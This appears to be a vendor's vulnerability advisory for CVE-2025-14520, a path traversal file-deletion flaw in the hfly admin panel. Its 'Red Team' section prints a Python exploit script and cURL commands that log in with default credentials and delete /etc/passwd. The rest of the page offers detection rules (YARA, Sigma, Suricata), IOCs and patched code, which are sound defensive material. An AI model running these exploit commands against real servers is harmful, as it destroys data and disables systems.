CVE-2025-14520
Executive Summary
CVE-2025-14520 is a path traversal vulnerability in the baowzh hfly application, a rolling-release project. The flaw exists in the /admin/index.php/datafile/delfile endpoint, where the filename parameter is not properly sanitized, allowing an authenticated attacker to delete arbitrary files on the server. The CVSS score is 5.4 (Medium), with a public proof-of-concept exploit available. The vendor was contacted but did not respond, leaving the application in an unpatched state. This vulnerability can lead to denial of service or data loss by deleting critical system files.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is not a package manager (NPM, PyPI, Go, Ruby) vulnerability; it is a standalone web application. However, if hfly is distributed via any package registry, users should verify the integrity of their installation and monitor for updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs admin-level access to the
/admin/endpoint. - User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality Impact (C): Low (L) – Limited file read possible via path traversal.
- Integrity Impact (I): Low (L) – File deletion affects integrity.
- Availability Impact (A): None (N) – Deletion may cause DoS but not directly scored.
Threat Level: Medium. Exploitation requires authentication but is trivial once access is obtained. Public exploit code increases risk.
Deep Dive & Mechanics
The vulnerability is a classic path traversal in the delfile action of the admin panel. The filename parameter is passed directly to a file deletion function without sanitization. An attacker can use ../ sequences to escape the intended data directory and delete arbitrary files on the filesystem.
Root Cause: The application fails to validate or canonicalize the user-supplied filename parameter before passing it to unlink() or similar file deletion API.
Attack Flow:
- Authenticate to the admin panel (e.g., default credentials or session hijacking).
- Send a POST request to
/admin/index.php/datafile/delfilewithfilename=../../../etc/passwd. - The server deletes the targeted file.
Impact: Deletion of configuration files, application code, or system binaries can lead to complete denial of service or privilege escalation.
Vulnerable vs. Patched Code
Vulnerable Code (hypothetical PHP):
$filename = $_POST['filename'];
unlink($filename);
Patched Code (recommended):
$filename = basename($_POST['filename']); // Strip path components
$safe_path = realpath('/var/www/data/' . $filename);
if (strpos($safe_path, '/var/www/data/') !== 0) {
die('Invalid path');
}
unlink($safe_path);
Since no official patch exists, users must implement their own input validation.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Admin credentials (e.g., admin:admin).
- Network access to the target.
Exploit Script (Python):
import requests
target = "http://target.com/admin/index.php/datafile/delfile"
session = requests.Session()
# Login first (adjust payload as needed)
login_data = {"username": "admin", "password": "admin"}
session.post("http://target.com/admin/index.php", data=login_data)
# Path traversal payload
payload = {"filename": "../../../etc/passwd"}
response = session.post(target, data=payload)
print(response.text)
Manual Exploit (cURL):
curl -c cookies.txt -b cookies.txt -X POST \
-d "username=admin&password=admin" \
http://target.com/admin/index.php
curl -b cookies.txt -X POST \
-d "filename=../../../etc/passwd" \
http://target.com/admin/index.php/datafile/delfile
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/admin/index.php/datafile/delfilewithfilenamecontaining../or absolute paths. - Alert on file deletion events outside the data directory.
Honeypot:
- Create a fake sensitive file (e.g.,
/var/www/html/honeypot.txt) and monitor for its deletion.
Mitigation:
- Implement strict input validation as shown in the patched code.
- Use a Web Application Firewall (WAF) to block path traversal patterns.
- Restrict admin panel access via IP whitelisting or VPN.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin/index.php/datafile/delfilewithfilenameparameter containing../or/. - Unusual file deletion logs in
/var/log/(e.g.,rmcommands on web server).
- POST requests to
- File System:
- Missing critical files (e.g.,
/etc/passwd,/var/www/html/index.php). - Unexpected empty directories in the web root.
- Missing critical files (e.g.,
- Logs:
- Apache/Nginx access logs showing
POST /admin/index.php/datafile/delfilewith non-standard parameters. - PHP error logs with
unlink()failures.
- Apache/Nginx access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_14520_Path_Traversal {
meta:
description = "Detects path traversal attempts in baowzh hfly delfile endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14520"
strings:
$traversal = /filename=\.\.\// nocase
$endpoint = "/admin/index.php/datafile/delfile"
condition:
$endpoint and $traversal
}
Sigma Rule
title: CVE-2025-14520 Path Traversal in baowzh hfly
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against the delfile endpoint
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin/index.php/datafile/delfile*'
cs-uri-query|contains: 'filename=../'
condition: selection
falsepositives:
- Legitimate use of relative paths in admin functions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14520 Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/index.php/datafile/delfile"; http_uri; content:"filename"; http_client_body; pcre:"/filename=[^&]*\.\.\//i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the
/admin/index.php/datafile/delfileendpoint if not required, or restrict access via.htaccess:<LocationMatch "/admin/index.php/datafile/delfile"> Require ip 192.168.1.0/24 </LocationMatch> - Code Fix: Implement input validation as shown in the patched code section.
- WAF Rule: Block requests containing
filename=../in POST bodies. - Monitoring: Enable detailed logging for admin actions and set up alerts for file deletion events.
- Update: Since the vendor is unresponsive, consider forking the repository and applying the fix yourself, or migrate to an alternative solution.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert